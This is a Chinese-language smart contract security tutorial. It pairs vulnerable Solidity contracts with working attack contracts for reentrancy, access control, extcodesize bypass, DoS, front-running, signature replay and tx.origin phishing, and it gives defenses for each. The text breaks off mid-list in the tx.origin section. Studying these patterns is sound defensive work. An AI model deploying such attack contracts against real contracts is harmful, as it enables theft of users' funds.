智能合约安全入门

重入攻击(Re-Entrancy)

普通重入攻击(Re-Entrancy)

重入攻击是指:攻击者可以反复调用目标合约的同一个函数,在前一次函数调用还未完成时就再次进入该函数,从而造成意外的后果,这个后果一般来说都是资金的损失。

首先来看代码,下面是一个存在重入攻击 EtherStore 合约,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
contract EtherStore {
mapping(address => uint256) public balances;

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw() public {
uint256 bal = balances[msg.sender];
require(bal > 0);

(bool sent,) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");

balances[msg.sender] = 0;
}

function getBalance() public view returns (uint256) {
return address(this).balance;
}
}

其次是攻击合约代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
contract Attack {
EtherStore public etherStore;
uint256 public constant AMOUNT = 1 ether;

constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}

receive() external payable {
if (address(etherStore).balance >= AMOUNT) {
etherStore.withdraw();
}
}

function attack() external payable {
require(msg.value >= AMOUNT);
etherStore.deposit{value: AMOUNT}();
etherStore.withdraw();
}

function getBalance() public view returns (uint256) {
return address(this).balance;
}
}

EtherStore 合约中 deposit 函数用于存款,withdraw 用于提款。在智能合约中合约(Attack)进行提款时,被调用合约( EtherStore )会去调用调用合约(Attack)的 receive 函数或者 fallback 函数,在上面的代码中是调用 receive 函数,在 Attack 合约的 receive 函数调用了被调用合约( EtherStore )的 withdraw 函数。在这个时候由于 EtherStore 的函数还没有执行完毕,账户余额没有被清零,当再次调用 withdraw 函数时,导致 require 检查无法抛出错误。又次一次去调用 Attack 的 receive 函数,如此循环直到 EtherStore 合约中的币被取完。可以看下面的图:

图1. Re-Entrancy Attack

防御方法

  • 检查-效果-交互模式(Checks-Effects-Interactions Pattern)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    function withdraw() public {
    uint balance = balances[msg.sender];
    require(balance > 0);
    // 先更新状态
    balances[msg.sender] = 0;
    // 后进行外部调用
    (bool sent, ) = msg.sender.call{value: balance}("");
    require(sent, "Failed to send Ether");
    }
  • 使用重入锁

    1
    2
    3
    4
    5
    6
    7
    8
    bool private locked;

    modifier noReentrant() {
    require(!locked, "No reentrancy");
    locked = true;
    _;
    locked = false;
    }
  • 使用 OpenZeppelin 的 ReentrancyGuard

    1
    2
    3
    4
    5
    6
    import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

    contract SecureContract is ReentrancyGuard {
    function withdraw() public nonReentrant {
    }
    }

重入攻击进阶 - 跨函数重入攻击(Cross-Function Reentrancy Attack)

跨函数重入攻击(Cross-Function Reentrancy Attack)是指:攻击者通过在一个合约函数中调用另一个合约时,利用回调函数重新进入目标合约的其他函数,而不是重入同一个函数。

首先来看存在漏洞合约代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
contract Vulnerable {
mapping (address => uint) public balances;

uint256 private _status; // 重入锁

// 重入锁
modifier nonReentrant() {
// 在第一次调用 nonReentrant 时,_status 将是 0
require(_status == 0, "ReentrancyGuard: reentrant call");
// 在此之后对 nonReentrant 的任何调用都将失败
_status = 1;
_;
// 调用结束,将 _status 恢复为0
_status = 0;
}

function deposit() public payable {
balances[msg.sender] = msg.value;
}

function transfer(address to, uint amount) public {
if (balances[msg.sender] >= amount) {
balances[to] += amount;
balances[msg.sender] -= amount;
}
}

function withdraw() public nonReentrant {
uint amount = balances[msg.sender];
(bool success, ) = msg.sender.call{value: amount}("");
require(success);
balances[msg.sender] = 0;
}
}

接着来看攻击合约代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
contract Attack {
Vulnerable target;
address hacker_addr = 0xaaabbbcc...;
uint amount;

constructor(address _target) {
target = Vulnerable(_target);
}

function attack() public payable {
amount = msg.value;
target.deposit{value: msg.value}();
target.withdraw();
}

receive() external payable {
target.transfer(hacker_addr, amount);
}
}

在上面的 Vulnerable合约中使用了重入锁,你是不是以为就安全了?其实不然,让我们来看攻击合约的攻击流程。

Attack 合约中 attack 函数首先目标合约存款,随后调用 withdraw 函数进行取款,Vulnerable 合约转账时会调用 Attack 合约的中 receive 函数(也可能是 fallback) 函数,而在 receive 中调用了 Vulnerabletransfer 函数,将资产转移给 hacker_addr

图2. Cross-Function Reentrancy Attack

虽然上面的合约用上了重入锁,转账完成的时候balances没有立即更新,导致调用 transfer 函数将自己原本不存在的余额转移。最终导致多处来了一部分钱。

重入攻击再进阶 - 跨合约重入攻击(Cross-Contract Reentrancy Attack)

跨合约重入攻击是重入攻击的一种高级变体,攻击者通过在多个合约之间的相互调用来实现攻击。首先来看代码(此处的代码只是一个简单实现,用于展示原理)。有一个 Bank 合约其代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
contract Bank {
mapping(address => uint) public balances;

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw(address to, uint amount) public {
require(balances[to] >= amount, "Insufficient funds");
(bool success, ) = to.call{value: amount}("");
require(success, "Transfer failed");
balances[to] -= amount;
}
}

接着有一个 Trader 交易合约,其代码如下:

1
2
3
4
5
6
7
8
9
10
11
contract Trader {
Bank bank;

constructor(address _bank) {
bank = Bank(_bank);
}

function exploitWithdrawal(address to) public {
bank.withdraw(to, 100);
}
}

最后便是攻击合约,其代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
contract AttackerContract {
Bank public bank;
Trader public trader;

constructor(address _bank, address _trader) {
bank = Bank(_contractA);
trader = Trader(_contractB);
}

receive() external payable {
// 在收到 trader 的转账时,调用 bank
trader.exploitWithdrawal(address(this));
}

function attack() external {
bank.deposit{value: 100}();
bank.withdraw(address(this), 100);
}
}

其攻击流程如下:Attack 合约在 attack 函数中向 Bank 合约存入 100 Wei 的 ETH,随后调用 Bank 合约的 withdraw 函数进行提款,在 Bank 合约向 Attack 合约进行转账时会调用 Attackreceive 方法(或者是 fallback 函数),在 receive 函数中又调用了 TraderexploitWithdrawal 函数,而在 exploitWithdrawal方法中又一次调用了 Bank 合约的 withdraw 函数进行再一次的转账, withdraw 函数又会调用 Attack 合约中的 receive 函数,依次循环,直到 Bank 合约的余额为 0 时则会结束。

图3 Cross-Contract Reentrancy Attack

防御方法

  • 遵循检查-效果-交互模式(Checks-Effects-Interactions Pattern)

  • 使用全局的重入锁,全局的重入锁的核心就是:建立一个单独的合约用来储存重入状态,在系统里的任何合约里相关的函数在执行的时候,都要来这同一个地方来查看当前的重入状态。

NFT 重入攻击

不仅在智能合约中存在重入漏洞,在正常的合约中重入攻击是通过 receive 或者 fallback 函数循环调用导致资产损失,而在 NTF 中同样存在重入攻击。在 NFT 标准(ERC721/ERC1155) 中为了进行安装转账,会调用合约中的检查函数,避免资产进入黑洞。在 ERC721 中 safeTransferFrom 函数会调用目标合约的 onERC721Received函数,确保目标合约可以接受 NFT 资产,正是这一举动给黑客提供了入侵的方法。

我们来看 NFT 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
contract NFTReentrancy is ERC721 {
uint256 public totalSupply;
mapping(address => bool) public mintedAddress;
// 构造函数,初始化NFT合集的名称、代号
constructor() ERC721("Reentry NFT", "ReNFT"){}

// 铸造函数,每个用户只能铸造1个NFT
// 有重入漏洞
function mint() payable external {
// 检查是否mint过
require(mintedAddress[msg.sender] == false);
// 增加total supply
totalSupply++;
// mint
_safeMint(msg.sender, totalSupply);
// 记录mint过的地址
mintedAddress[msg.sender] = true;
}
}

接着是攻击合约的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
contract Attack is IERC721Receiver{
NFTReentrancy public nft; // 有漏洞的nft合约地址

// 初始化NFT合约地址
constructor(NFTReentrancy _nftAddr) {
nft = _nftAddr;
}

// 攻击函数,发起攻击
function attack() external {
nft.mint();
}

// ERC721的回调函数,会重复调用mint函数,铸造10个
function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) {
if(nft.balanceOf(address(this)) < 10){
nft.mint();
}
return this.onERC721Received.selector;
}
}

攻击流程:首先 Attack 合约中的 attack 函数会调用 nft 合约的 mint 方法,在 nft 合约中调用了 _safeMint 函数为用户铸造,在 ERC721 的源码中可以到看到

1
2
3
4
5
6
7
8
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
_mint(to, tokenId);
ERC721Utils.checkOnERC721Received(_msgSender(), address(0), to, tokenId, data);
}

_safeMint 函数会调用 checkOnERC721Received 函数,该函数会执行调用的合约的 onERC721Received 并验证返回值。我们回到 Attack 合约,查看 onERC721Received 函数的代码,可以看到在 onERC721Received 函数又一次调用了 nft 的 mint 方法,由于 mint 回去调用 onERC721Received 函数,依次循环导致绕过 NFT 合约的限制,获取多个 NTF 代币。

图4 NFT Reentrancy Attack

权限控制类漏洞

访问控制漏洞

在智能合约中访问控制是非常重要的,不是所有的函数都能被外部账户调用,常见的有以下几种场景:

  • 未限制的初始化函数

    1
    2
    3
    function initContract() public {
    owner = msg.sender; // 缺乏调用限制
    }
  • 过渡授权,比如多个账户拥有 Owner 权限,如果攻击者获得其中一个账户的权限就可能组合合约的任意功能

  • Token burn 权限控制不当,合约中的 burn 函数如果权限不当,可能导致其他账户可以随意销毁别人的 token,从而引发价格波动。

    1
    2
    3
    function burn(address account, uint256 amount) public {
    _burn(account, amount); // 无访问控制
    }

我们来看个权限控制不当的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract ownerGame {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _new) public {
owner = _new;
}
}

在合约 ownerGame 中的 changeOwner 函数没有做权限控制,导致任何人都可以调用该函数,从而将合约的所有者进行变更。

防御

  1. 采用最小权限原则
  2. 为合约中的关键函数添加正确的访问控制修饰符

ApproveScam

ERC20 代币标准中有一个函数叫 approve ,该函数的作用为授权某个地址可以从代币拥有者的账户上转移一定数量的代币。但是如果在授权时授权的数量过大,如 type(uint256).max)。那么攻击者就可以在代币拥有者不知情的情况下转走账户上所有的代币。

看个实例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract MyToken is ERC20, Ownable {
constructor()
ERC20("MyToken", "MTK")
Ownable(msg.sender)
{}

function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}

function approve(address spender) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, type(uint256).max);
return true;
}
}

approve 函数中可以看到授权的数量为 type(uint256).max,也就是 115792089237316195423570985008687907853269984665640564039457584007913129639935。在这种情况下攻击者就可以将代币拥有者账户上的代币全部转走。

防御

  1. 非必要不要调用 approve 函数进行授权
  2. 授权金额应该实际情况而定
  3. 在合约结束结束后应该及时撤销授权
  4. 合约上线前做好检查

合约账户检查绕过漏洞

extcodesizeSolidity 中的一个底层操作码(opcode),用于获取指定地址的合约代码大小。该操作码的作用为:返回指定地址处的合约代码大小(单位为字节),如果地址为外部账户(EOA),则返回 0,如果地址为合约账户,则返回合约代码的长度。

需要注意的是:在合约初次部署的时候,会先执行构造函数,在构造函数之前完毕之前,刚部署的合约地址上是没有任何字节码的。

此时如果攻击者在构造函数中立即调用目标合约,由于此时合约地址上的字节还没被存储,就会导致 extcodesize(address(this)) 返回的值为零,从而绕过检查。

我们来看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Target {
function isContract(address account) public view returns (bool) {
// 在这里调用 extcodesize 操作码检查地址是否为合约地址
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}

bool public pwned = false;

function protected() external {
require(!isContract(msg.sender), "no contract allowed");
pwned = true;
}
}

Target 合约中存在一个 pwn 变量,该变量只能被 EOA 账户修改,合约账户是无法修改的。再来看攻击合约代码:

1
2
3
4
5
6
7
8
9
10
contract Attack {
bool public isContract;
address public addr;

constructor(address _target) {
isContract = Target(_target).isContract(address(this));
addr = address(this);
Target(_target).protected();
}
}

由于 Target 合约初始化的时候,extcodesize 的返回值为 0,从而绕过 isContract 的检查,让目标合约认为该地址是一个 EOA 账户,最后成功执行 protected 函数,将 pwn 变量修改为 true

防御

  1. 可以比较 tx.originmsg.sender 是否相同,不依赖 extcodesize
  2. 在智能合约中 tx.origin 是指最初发起交易的 EOA 地址,在多签钱包或者复杂的调用情况下无法使用
  3. tx.origin 消耗的 gas 会比 extcodesize

拒绝服务攻击

DOS(Denial of Service)攻击是一种网络攻击方式,目的是使目标系统、网络或服务无法正常运行,从而拒绝为合法用户提供服务。在区块链中的 DOS 攻击主要有以下几种:

  • 对节点 DOS 攻击

    如:伪造交易或区块、制造垃圾流量占用带宽、利用漏洞使节点崩溃

  • 共识层 DOS 攻击

    在 POW 中可以通过算力优势执行分叉、否决他人交易、阻止出块等

    在 POW 中可以通过大量权益控制节点

  • 交易的 DOS 攻击

    攻击者可以通过修改 gas limitgas price 参数消耗节点 Gas;或者是在短时间内广播大量重复交易

  • 智能合约 DOS 攻击

    利用智能合约代码逻辑、外部调用、权限管理等方式来发起攻击

  • 经济模型 DOS 攻击

    由于项目的经济模型存在设计缺陷,攻击者利用该缺陷使得 Token 无法流通,导致拒绝服务

我们来看一个 DOS 攻击示意,首先是合约代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract KingOfEther {
address public king;
uint256 public balance;

function claimThrone() external payable {
require(msg.value > balance, "Need to pay more to become the king");

(bool sent,) = king.call{value: balance}("");
require(sent, "Failed to send Ether");

balance = msg.value;
king = msg.sender;
}
}

再是攻击代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract Attack {
KingOfEther kingOfEther;

constructor(KingOfEther _kingOfEther) {
kingOfEther = KingOfEther(_kingOfEther);
}

function attack() public payable {
kingOfEther.claimThrone{value: msg.value}();
}
}

KingOfEther 合约中通过转入一定数量的 ETH 来夺取 King 的头衔,当出现新的 King 时会将之前的 King 的 ETH 还回去,对于 EOA 账户来说没有问题。但是对于合约来说,众所周知,合约给合约转账时会调用 fallback 函数,那么如果目标合约没有 fallback 函数就会失败,那么后续就不可能有新的 King

图5. DOS 示意图

防御方法

  • 关注智能合约、节点软件等各个环节的 DOS 漏洞,完善异常处理机制
  • 基础设施部分如矿池、钱包、交易所等也需部署针对性的 DOS 防御方案
  • 底层架构设计要充分考虑防 DOS 能力
  • 针对本案例可以拆分两部分,一部分用于竞争 King,另外一部分负责提款,如此一来只有攻击者无法提款。

抢跑

抢跑攻击是指设置更高的 Gas Price 来影响交易顺序,抢先交易,完成攻击。

在了解抢跑攻击之前我们需要知道以太坊的交易流程,在以太坊中一笔交易的流程可以划分为以下七个步骤:

  1. 使用私钥对交易签名
  2. 选择 Gas Price
  3. 发送签名后的交易信息
  4. 交易在各个节点之间广播
  5. 交易进入交易池
  6. 矿工取出 Gas Price 高的交易
  7. 打包交易并出块

在以太坊中矿工对于海量的交易数据如何决定打包的顺序呢?其实在以太坊中打包的顺序大多数节点都是有限打包手续费高的交易。回忆一下以太坊中手续费的计算方式:

Tx Free(手续费) = Gas Used(燃料用量) X Gas Price(单位燃料价格)

  • Gas Used 由系统计算的出
  • Gas Price 可以自定义

因此手续费是由 Gas Price 决定的。如:Gas Price = 10 Gwei,Gas Used = 21000 Wei,那么手续费就是

10 GWei(单位燃料价格) X 21000(燃料用量) = 0.00021 ETH = 210000 GWei(手续费)

我们可以到 https://etherscan.io/gastracker 上看一下不同 Gas Free 下的打包速度:

图6. 不同 Gas Free 下的打包速度

Solidity by Example 中给出了一个抢跑的案例,首先来看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract FindThisHash {
bytes32 public constant hash =
0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;

constructor() payable {}

function solve(string memory solution) public {
require(
hash == keccak256(abi.encodePacked(solution)), "Incorrect answer"
);

(bool sent,) = msg.sender.call{value: 10 ether}("");
require(sent, "Failed to send Ether");
}
}

在这个合约中谁先找符合 hashsolution 就可以获取 10 ETH 的奖励。攻击流程如下:

  1. Alice(合约部署者)使用 10 Ether 部署 FindThisHash 合约;
  2. Bob 找到哈希值为目标哈希值的正确字符串;
  3. Bob 调用 solve("Ethereum") 并将 Gas 价格设置为 15 Gwei
  4. Eve 正在监控交易池,等待有人提交正确的答案;
  5. Eve 看到 Bob 发送的交易,设置比 Bob 更高的 Gas Price(100 Gwei),调用 solve("Ethereum")
  6. Eve 的交易先于 Bob 的交易被矿工打包;
  7. Eve 赢得了 10 个以太币的奖励。

画一个流程,更能理解这个攻击流程:

图7 抢跑流程图

那么抢跑该如何防御, Solidity by Example 给出的修复代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract SecuredFindThisHash {
// Struct is used to store the commit details
struct Commit {
bytes32 solutionHash;
uint256 commitTime;
bool revealed;
}

// The hash that is needed to be solved
bytes32 public hash =
0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;

// Address of the winner
address public winner;

// Price to be rewarded
uint256 public reward;

// Status of game
bool public ended;

// Mapping to store the commit details with address
mapping(address => Commit) commits;

// Modifier to check if the game is active
modifier gameActive() {
require(!ended, "Already ended");
_;
}

constructor() payable {
reward = msg.value;
}

/*
Commit function to store the hash calculated using keccak256(address in lowercase + solution + secret).
Users can only commit once and if the game is active.
*/
function commitSolution(bytes32 _solutionHash) public gameActive {
Commit storage commit = commits[msg.sender];
require(commit.commitTime == 0, "Already committed");
commit.solutionHash = _solutionHash;
commit.commitTime = block.timestamp;
commit.revealed = false;
}

/*
Function to get the commit details. It returns a tuple of (solutionHash, commitTime, revealStatus);
Users can get solution only if the game is active and they have committed a solutionHash
*/
function getMySolution()
public
view
gameActive
returns (bytes32, uint256, bool)
{
Commit storage commit = commits[msg.sender];
require(commit.commitTime != 0, "Not committed yet");
return (commit.solutionHash, commit.commitTime, commit.revealed);
}
/*
Function to reveal the commit and get the reward.
Users can get reveal solution only if the game is active and they have committed a solutionHash before this block and not revealed yet.
It generates a keccak256(msg.sender + solution + secret) and checks it with the previously committed hash.
Assuming that a commit was already included on chain, front runners will not be able to pass this check since the msg.sender is different.
Then the actual solution is checked using keccak256(solution), if the solution matches, the winner is declared,
the game is ended and the reward amount is sent to the winner.
*/

function revealSolution(string memory _solution, string memory _secret)
public
gameActive
{
Commit storage commit = commits[msg.sender];
require(commit.commitTime != 0, "Not committed yet");
require(
commit.commitTime < block.timestamp,
"Cannot reveal in the same block"
);
require(!commit.revealed, "Already committed and revealed");

bytes32 solutionHash =
keccak256(abi.encodePacked(msg.sender, _solution, _secret));
require(solutionHash == commit.solutionHash, "Hash doesn't match");

require(
keccak256(abi.encodePacked(_solution)) == hash, "Incorrect answer"
);

winner = msg.sender;
ended = true;

(bool sent,) = payable(msg.sender).call{value: reward}("");
if (!sent) {
winner = address(0);
ended = false;
revert("Failed to send ether.");
}
}
}

在修复合约的代码新增如下功能:

  • 使用 struct Commit 记录提交者的信息,其中 commit.solutionHash 用于记录提交者提交的答案 hash,commit.commitTime 用于记录提交时间,commit.revealed 用于记录状态

修复的合约与之前存在漏洞的合约主要区别在于:

  1. Bob 在本区块本没有直接提交 solution ,而是提交的 solutionHash
  2. 在下一个区块调用 revealSolution 传入正确的答案和密钥,最后领取奖励

在修复后的合约中,Bob 提交了他加密后的答案,因此 Eve 是没办法知道 Bob 提交的答案是什么。如果 Eve 想在同一个区块内进行抢跑,在 revealSolution 函数有一个检查 require( commit.commitTime < block.timestamp,"Cannot reveal in the same block");。众所周知在同一个区块内其时间戳是一样的,因此无法通过检查,就有效的防止了抢跑。如果有人想跳过 commitSolution 直接调用 revealSolution,那么他将无法通过

1
2
Commit storage commit = commits[msg.sender];
require(commit.commitTime != 0, "Not committed yet");

处的验证。

当然修复后的仍然存在漏洞,如果 Eve 通过监控交易池拿到了答案,那么 Eve 可以通过提交答案并并构造多笔高 Gas Price 将 Bob 的交易挤到到第三个区块,同样可以获得奖励。

防御

  • 使用利用 Commit-Reveal 技术防范

    在 Commit 阶段,用户对某个值做哈希承诺,生成一个密文,并提交到区块链上。他人无法知晓内容

    在 Reveal 阶段,用户可以公开明文和生成密文所用的随机数,网络节点核验无误后,承诺的值才会被接受

  • LibSubmarine 实现方案

签名重放攻击

签名重放攻击是指在不知道私钥的情况下,复制之前有效的签名,绕过合约的签名验证。

重放攻击有以下几种方式:

  1. 普通重放(Missing Nonce Replay)

    重复使用同一份签名

  2. 跨链重放(Cross Chain Replay)

    同一份签名在不同的链上使用

  3. 参数缺失(Missing Parameter)

    签名中的参数不全

  4. 无到期时间(No Expiration)

    签名缺少有效期,可以重放使用

普通重放攻击

简单看一个重放案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";

contract MultiSigWallet {
using ECDSA for bytes32;

address[2] public owners;

constructor(address[2] memory _owners) payable {
owners = _owners;
}

function deposit() external payable {}

function transfer(address _to, uint256 _amount, bytes[2] memory _sigs)
external
{
bytes32 txHash = getTxHash(_to, _amount);
require(_checkSigs(_sigs, txHash), "invalid sig");

(bool sent,) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}

function getTxHash(address _to, uint256 _amount)
public
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(_to, _amount));
}

function _checkSigs(bytes[2] memory _sigs, bytes32 _txHash)
private
view
returns (bool)
{
bytes32 ethSignedHash = toEthSignedMessageHash(_txHash);

for (uint256 i = 0; i < _sigs.length; i++) {
address signer = ethSignedHash.recover(_sigs[i]);
bool valid = signer == owners[i];

if (!valid) {
return false;
}
}

return true;
}

function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}

本合约为一个简单的多签钱包,合约需要两个管理员进行签名后才能进行转移账户中的资产。

攻击流程如下:

  1. 在部署合约时通过 constructor 构造方法传入两个管理账户
  2. 当需要转账时,两个管理账户对原始消息进行签名,由于原始过大,会导致签名效率低下,因此使用 keccak 计算原始消息的 hash 再进行签名
  3. 在两个管理账户签名完成后调用 transfer 函数进行转账
  4. 由于签名并没有其他的限制,可以重复使用签名进行转账,直到合约账户的余额为 0

防御

  • 使用 Nonce,Nonce 是一个只能使用一次的随机数,将其包含在签名中

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    // 记录签名是否被使用
    mapping(bytes32 => bool) public executed;
    // 在签名中加入 _nonce
    keccak256(abi.encodePacked(address(this), _to, _amount, _nonce));

    //
    function transfer(
    address _to,
    uint256 _amount,
    uint256 _nonce,
    bytes[2] memory _sigs
    ) external {
    // 检查
    bytes32 txHash = getTxHash(_to, _amount, _nonce);
    require(!executed[txHash], "tx executed");
    require(_checkSigs(_sigs, txHash), "invalid sig");

    executed[txHash] = true;

    (bool sent,) = _to.call{value: _amount}("");
    require(sent, "Failed to send Ether");
    }

你是不是以为这样子就安全了?并不是,且看下面的案例。

跨合约重放

现在有两个合约通过链下签名进行转账,不需要链上交易。首先是 TokenA 的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";

contract TokenA {
using ECDSA for bytes32;

uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;

string public name = "Simple ERC20 TokenA";
string public symbol = "SETA";
uint8 public decimals = 18;
mapping(address => uint256) nonces;

constructor() {
totalSupply = 2000;
balanceOf[msg.sender] = 2000;
}

function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
}

function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);

_transfer(to, value);
}

function transferProxy(
address _from,
address _to,
uint256 _value,
uint256 _feeUgt,
bytes memory signature
) public returns (bool) {
bytes32 h = keccak256(
abi.encodePacked(_from, _to, _value, _feeUgt, _useNonce(_from))
);

bool check_result = _checkSig(signature, h, _from);
require(check_result, "signature is not right");

if (
balanceOf[_to] + _value < balanceOf[_to] ||
balanceOf[msg.sender] + _feeUgt < balanceOf[msg.sender]
) revert();
balanceOf[_to] += _value;

balanceOf[msg.sender] += _feeUgt;

balanceOf[_from] -= _value + _feeUgt;
return true;
}

function getTxHash(
address _from,
address _to,
uint256 _value,
uint256 _feeUgt,
uint256 _nonce
) public pure returns (bytes32)
{
return keccak256(abi.encodePacked(_from, _to, _value, _feeUgt, _nonce));
}

function _checkSig(bytes memory signature, bytes32 _txHash, address from)
private
pure
returns (bool)
{
bytes32 ethSignedHash = toEthSignedMessageHash(_txHash);
address signer = ethSignedHash.recover(signature);
bool valid = signer == from;

if (!valid) {
return false;
}
return true;
}

function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}

function _useNonce(address owner) internal virtual returns (uint256 current) {
current = nonces[owner];
nonces[owner] += 1;
}
}

接着是 Token 合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
contract TokenB {
using ECDSA for bytes32;

uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;

string public name = "Simple ERC20 TokenB";
string public symbol = "SETB";
uint8 public decimals = 18;
mapping(address => uint256) nonces;

// ... 其他函数跟 TokenA 一样
}

在上述两个合约在部署时有 msg.sender 分别分配对应的 Token,transfer_transfer 函数都是用于转账,transferProxy 的功能为使用用户线下签名来实现转账并且使用 nonce 防止重放攻击。

攻击流程如下:

  1. 首先 账户A 部署 TokenA TokenB,并设置一定数量的 Token
  2. 现在 账户A 需要向 账户B 转账,生成了链下的签名
  3. 通过生成的链下签名调用 transferProxy 进行转账
  4. 由于对签名的保管不到位,致使签名被账户B 所获取
  5. 恰好 账户A 拥有 TokenB 资产
  6. 账户B 拿着获取到的签名去 TokenB 上进行重放攻击,将 账户ATokenB 资产也转移到 账户B

防御

  • 增加链 ID 和时间戳

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    function transfer(
    address _to,
    uint256 _amount,
    uint deadline,
    uint256 chainId,
    bytes[2] memory _sigs
    ) external {
    require(block.timestamp < deadline, "Signature expired");
    require(block.chainid == chainId, "chain not match");
    // ...
    }
  • 增加合约地址

    1
    2
    3
    4
    5
    bytes32 messageHash = keccak256(abi.encodePacked(
    address(this),
    block.chainid, // 当前链ID
    from, to, amount, nonce
    ));
  • 使用EIP-712标准

    • 提供结构化的签名数据
    • 自动包含域分隔符(包含合约地址和链ID)
  • 唯一性保证

    • 使用递增的nonce而不是随机nonce
    • 确保每个签名只能使用一次

tx.origin 风险(钓鱼攻击/中间人攻击)

在 solidity 中存在一个全局变量那就是 tx.origin,这个变量用于追踪交易发起者的原始地址,与 msg.sender 不同的是: msg.sender 是当前调用的地址,而 tx.origin 是交易的发起者。

tx.origin 不能被用来验证发送者的身份

我们来看一个例子,现有一个合约 Wallet ,它允许 ETH 的拥有者将 ETH 转移到另外一个账户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Wallet {
address public owner;

constructor() payable {
owner = msg.sender;
}

function transfer(address payable _to, uint _amount) public {
require(tx.origin == owner, "Not owner");

(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
}

攻击合约代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract Exploiter {
address payable public owner;
Wallet wallet;

constructor(Wallet _wallet) {
wallet = Wallet(_wallet);
owner = payable(msg.sender);
}

function exploit() public {
wallet.transfer(owner, address(wallet).balance);
}
}

攻击流程如下:

  • 用户部署 Wallet 合约并存入一定数量的 ETH
